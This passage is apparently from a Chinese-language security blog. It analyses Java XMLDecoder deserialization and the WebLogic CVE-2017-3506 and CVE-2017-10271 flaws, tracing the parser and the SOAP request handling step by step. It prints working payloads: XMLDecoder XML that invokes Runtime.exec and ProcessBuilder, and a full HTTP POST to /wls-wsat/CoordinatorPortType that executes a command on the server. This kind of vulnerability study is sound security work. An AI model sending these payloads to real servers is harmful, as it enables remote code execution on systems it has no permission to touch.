!fSecurityManager.isNoLimit(fElementAttributeLimit) && fAttributes.getLength() > fElementAttributeLimit){ fErrorReporter.reportError(XMLMessageFormatter.XML_DOMAIN, "ElementAttributeLimit" , new Object []{rawname, fElementAttributeLimit }, XMLErrorReporter.SEVERITY_FATAL_ERROR ); } } while (!seekCloseOfStartTag()); fReadingAttributes=false ; } if (fEmptyElement) { ...... } else { if (dtdGrammarUtil != null ) dtdGrammarUtil.startElement(fElementQName, fAttributes); if (fDocumentHandler != null ){ fDocumentHandler.startElement(fElementQName, fAttributes, null ); } } ...... }
跳过几个重载的来到DocumentHandler#startElement()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { ElementHandler parent = this .handler; try { this .handler = getElementHandler(qName).newInstance(); this .handler.setOwner(this ); this .handler.setParent(parent); } catch (Exception exception) { throw new SAXException (exception); } for (int i = 0 ; i < attributes.getLength(); i++) try { String name = attributes.getQName(i); String value = attributes.getValue(i); this .handler.addAttribute(name, value); } catch (RuntimeException exception) { handleException(exception); } this .handler.startElement(); }
当前处理的是,所以现在要实例化一个处理java标签的处理器,JavaElementHandler。然后设置这个handler的所有者和父级。
接着遍历元素的属性并调用 this.handler.addAttribute(name, value); 将属性添加到当前的 ElementHandler 实例。
1 2 3 4 5 6 7 8 9 10 public void addAttribute (String name, String value) { if (name.equals("version" )) { } else if (name.equals("class" )) { this .type = getOwner().findClass(value); } else { super .addAttribute(name, value); } }
然后回到DocumentHandler#startElement()方法,还有最后一句代码this.handler.startElement();需要执行。调用JavaElementHandler#startElement()。JavaElementHandler没有这个方法,父类该方法也为空。那就不管
处理完java标签后,我们的下一个标签 也是类似的过程。来到该方法后。
实例化ObjectElementHandler处理器。然后获取属性和值用ObjectElementHandler#addAttribute方法添加。不过这里处理器中没有对应的属性可以设置,所以调用父类的方法NewElementHandler#addAttribute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public final void addAttribute (String name, String value) { if (name.equals("idref" )) { this .idref = value; } else if (name.equals("field" )) { this .field = value; } else if (name.equals("index" )) { this .index = Integer.valueOf(value); addArgument(this .index); } else if (name.equals("property" )) { this .property = value; } else if (name.equals("method" )) { this .method = value; } else { super .addAttribute(name, value); } } public void addAttribute (String name, String value) { if (name.equals("class" )) { this .type = getOwner().findClass(value); } else { super .addAttribute(name, value); } }
然后回到DocumentHandler#startElement()去执行最后一句代码,调用了ObjectElementHandler.startElement(),由于field与idref都是null,不会进入if语句调用getValueObject()方法。
1 2 3 4 5 public final void startElement () { if ((this .field != null ) || (this .idref != null )) { getValueObject(); } }
接着下一个标签,VoidElementHandler由于没有addAttribute方法,调用父类的addAttribute方法,即ObjectElementHandler#addAttribute。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public final void addAttribute (String name, String value) { if (name.equals("idref" )) { this .idref = value; } else if (name.equals("field" )) { this .field = value; } else if (name.equals("index" )) { this .index = Integer.valueOf(value); addArgument(this .index); } else if (name.equals("property" )) { this .property = value; } else if (name.equals("method" )) { this .method = value; } else { super .addAttribute(name, value); } }
处理器的startElement方法同理,调用父类的ObjectElementHandler.startElement(),不过依然判断为false不执行任何操作。
然后是example 标签。由于不是属性-值这种。直接调用处理器startElement方法。与上面同理由于没有改方法调用父类的ElementHandler.startElement(),方法为空啥也没干。
由于example 该标签有开始标签,还有结束标签 ,所以下一次在XMLDocumentFragmentScannerImpl#next()中,会走进这一个case代码块,会扫描结束标签。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 case SCANNER_STATE_END_ELEMENT_TAG :{ if (fEmptyElement){ fEmptyElement = false ; setScannerState(SCANNER_STATE_CONTENT); return (fMarkupDepth == 0 && elementDepthIsZeroHook() ) ? XMLEvent.END_ELEMENT : XMLEvent.END_ELEMENT ; } else if (scanEndElement() == 0 ) { if (elementDepthIsZeroHook()) { return XMLEvent.END_ELEMENT ; } } setScannerState(SCANNER_STATE_CONTENT); return XMLEvent.END_ELEMENT ; }
通过scanEndElement()方法会一直调用到DocumentHandler#endElement方法。
1 2 3 4 5 6 7 8 9 10 11 public void endElement (String uri, String localName, String qName) { try { this .handler.endElement(); } catch (RuntimeException exception) { handleException(exception); } finally { this .handler = this .handler.getParent(); } }
这里会去调用StringElementHandler的startElement()方法,由于没有所以调到父类ElementHandler#startElement()方法。
首先通过getValueObject方法获取当前元素的值对象。该对象的value属性等于我们开始和结束标签之间的值,即example 中间的值example。然后会取出这个value值,作为参数传给 this.parent.addArgument方法,也就是上一个标签VoidElementHandler的addArgument方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void endElement () { ValueObject value = getValueObject(); if (!value.isVoid()) { if (this .id != null ) { this .owner.setVariable(this .id, value.getValue()); } if (isArgument()) { if (this .parent != null ) { this .parent.addArgument(value.getValue()); } else { this .owner.addObject(value.getValue()); } } } }
最后把值放到arguments这个ArrayList里面。
接着,要处理的标签是,所以和上面流程类似,处理器是VoidElementHandler,调用的是父类的父类的父类ElementHandler#endElement方法,然后调用到父类的父类NewElementHandler#getValueObject方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 protected final ValueObject getValueObject () { if (this .arguments != null ) { try { this .value = getValueObject(this .type, this .arguments.toArray()); } catch (Exception exception) { getOwner().handleException(exception); } finally { this .arguments = null ; } } return this .value; } protected final ValueObject getValueObject (Class<?> type, Object[] args) throws Exception { if (this .field != null ) { return ValueObjectImpl.create(FieldElementHandler.getFieldValue(getContextBean(), this .field)); } if (this .idref != null ) { return ValueObjectImpl.create(getVariable(this .idref)); } Object bean = getContextBean(); String name; if (this .index != null ) { name = (args.length == 2 ) ? PropertyElementHandler.SETTER : PropertyElementHandler.GETTER; } else if (this .property != null ) { name = (args.length == 1 ) ? PropertyElementHandler.SETTER : PropertyElementHandler.GETTER; if (0 < this .property.length()) { name += this .property.substring(0 , 1 ).toUpperCase(ENGLISH) + this .property.substring(1 ); } } else { name = (this .method != null ) && (0 < this .method.length()) ? this .method : "new" ; } Expression expression = new Expression (bean, name, args); return ValueObjectImpl.create(expression.getValue()); }
创建一个 Expression 对象,传入上下文 bean、方法名和参数,然后调用 expression.getValue() 获取结果,并用 ValueObjectImpl.create 包装成 ValueObject 返回。这里就是把我们解析出来的类、属性、值一起包装到一个类中。
然后在Expression#getValue()方法,里面会执行对应的方法,首先执行的对应类的无参构造函数,第二次执行的才是setName方法。一直到MethodUtil#invoke方法里面。
攻击Demo 给出两种常见攻击demo。如果反序列化的xml文件是如下代码,就会触发命令执行。触发原理和上面流程差不多,也是在相同的地方反射调用方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <void method ="getRuntime" class ="java.lang.Runtime" > <void method ="exec" > <string > calc</string > </void > </void > </java > <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="1" > <void index ="0" > <string > Calc</string > </void > </array > <void method ="start" /> </void > </java >
CVE-2017-3506&CVE-2017-10271 漏洞原因 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
CVE-2017-3506和CVE-2017-10271原理是一样的,只是CVE-2017-3506的修复补丁是禁用object标签,所以随后出现了CVE-2017-10271。不使用object标签的payload即可。
漏洞环境 参考上面T3反序列化的环境。
影响版本 存在 WLS-WebServices 的组件的Weblogic版本。
漏洞payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.147.131:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 589 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void method ="getRuntime" class ="java.lang.Runtime" > <void method ="exec" > <string > touch /tmp/CVE-2017-10271</string > </void > </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
漏洞分析 我们从WLSServletAdapter#handle方法开始调试,在此之前是一些服务器对请求预处理,安全性检查之类的操作。这里会判断我们的请求方法,如何是GET型或者HEAD型,就会进去if语句进行处理。我们发送的请求包是POST类型,所以进入super.handle(var1, var2, var3);
一直到HttpAdapter#handle,这里又会判断请求类型,然后因为判断不通过跳到tk.handle(connection);,这是一个内部类方法HttpAdapter$HttpToolkit#handle。
这里我们可以大致分成两个部分,首先是解码入站消息,将结果存储在 packet 对象中。然后是调用 this.head.process 方法处理packet中的消息,并且将结果存储回 packet 中。
我们先跟第一部分,解码入站信息。跟进到HttpAdapter#decodePacket,这个方法作用是解码 HTTP 请求并生成一个包含请求信息的 Packet 对象。
主要是这一行代码InputStream in = con.getInput();,我们发送的POST数据包就在in中。
跟到codec.decode(in, ct, packet);进入SOAPBindingCodec#decode中。
进入StreamSOAPCodec#decode方法,从中进入重载的decode方法。
packet.setMessage(this.decode(reader, att));中的重载decode方法主要是解析 SOAP 消息的 XML 内容,并将其封装到 Message 对象。然后用packet的setMessage方法将这个封装后的Message对象赋值给packet,然后返回这个packet对象。
回到HttpAdapter#handle方法中,接着我们看一下处理入站消息的部分。跟进packet = this.head.process(packet, con.getWebServiceContextDelegate(), packet.transportBackChannel);,即来到WSEndpointImpl$2#process中(WSEndpointImpl$2是WSEndpointImpl类中的第二个匿名类),前面是对request的属性赋值。主要关注对request处理的地方,即request作为参数的地方,因为我们的payload在里面。所以我们可以关注到fiber.runSync(this.tube, request);
把带有payload的request入站请求赋值给当前Fiber的packet属性,在调用当前Fiber的doRun方法后就返回这个packet属性。我们跟一下doRun方法。
从doRun方法经过_doRun和__doRun之后,在__doRun经过几次循环调用readHeaderOld方法来到WorkContextTube#readHeaderOld。
这个方法会从头部列表中获取特定头部 WorkAreaConstants.WORK_AREA_HEADER。如果头部不为 null,调用 readHeaderOld 方法处理,并设置 isUseOldFormat 标志为 true。跟进readHeaderOld方法中。
首先使用 XMLStreamReader 对象读取头部的 XML 内容,并跳过初始的两个标签,以便进入实际数据部分。接着,创建一个 XMLStreamReaderToXMLStreamWriter 对象,将读取到的 XML 内容桥接到一个 XMLStreamWriter,并将输出写入到 ByteArrayOutputStream 中,生成一个字节流。然后,方法通过 ByteArrayInputStream 将字节流转换为输入流,并创建一个 WorkContextXmlInputAdapter 适配器对象。最后,通过调用 this.receive(var6) 方法将适配器传递给接收方法进行处理。
此时var4获取的就是我们构造的xmlpayload
var6是一个WorkContextXmlInputAdapter 对象,该对象初始化会new一个XMLDecoder,并且给xmlDecoder的初始化参数是var4的字节数组流。
这么一个要处理恶意payloaf字节流的XMLDecoder,只要调用了readObject方法,就会触发XMLDecoder反序列化漏洞。
我们继续跟进WorkContextServerTube#receive,使用 WorkContextEntryImpl 类的静态方法 readEntry 来读取并解析传入的 var1 对象。
从一个数据输入流中读取一个 UTF-8 编码的字符串,并将其赋值给变量 var1
进入该方法后,就会看到这里调用了xmlDecoder的readObject方法。漏洞由此而来。
参考 CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)
Weblogic T3协议反序列化漏洞分析(上)
Weblogic安全漫谈(一)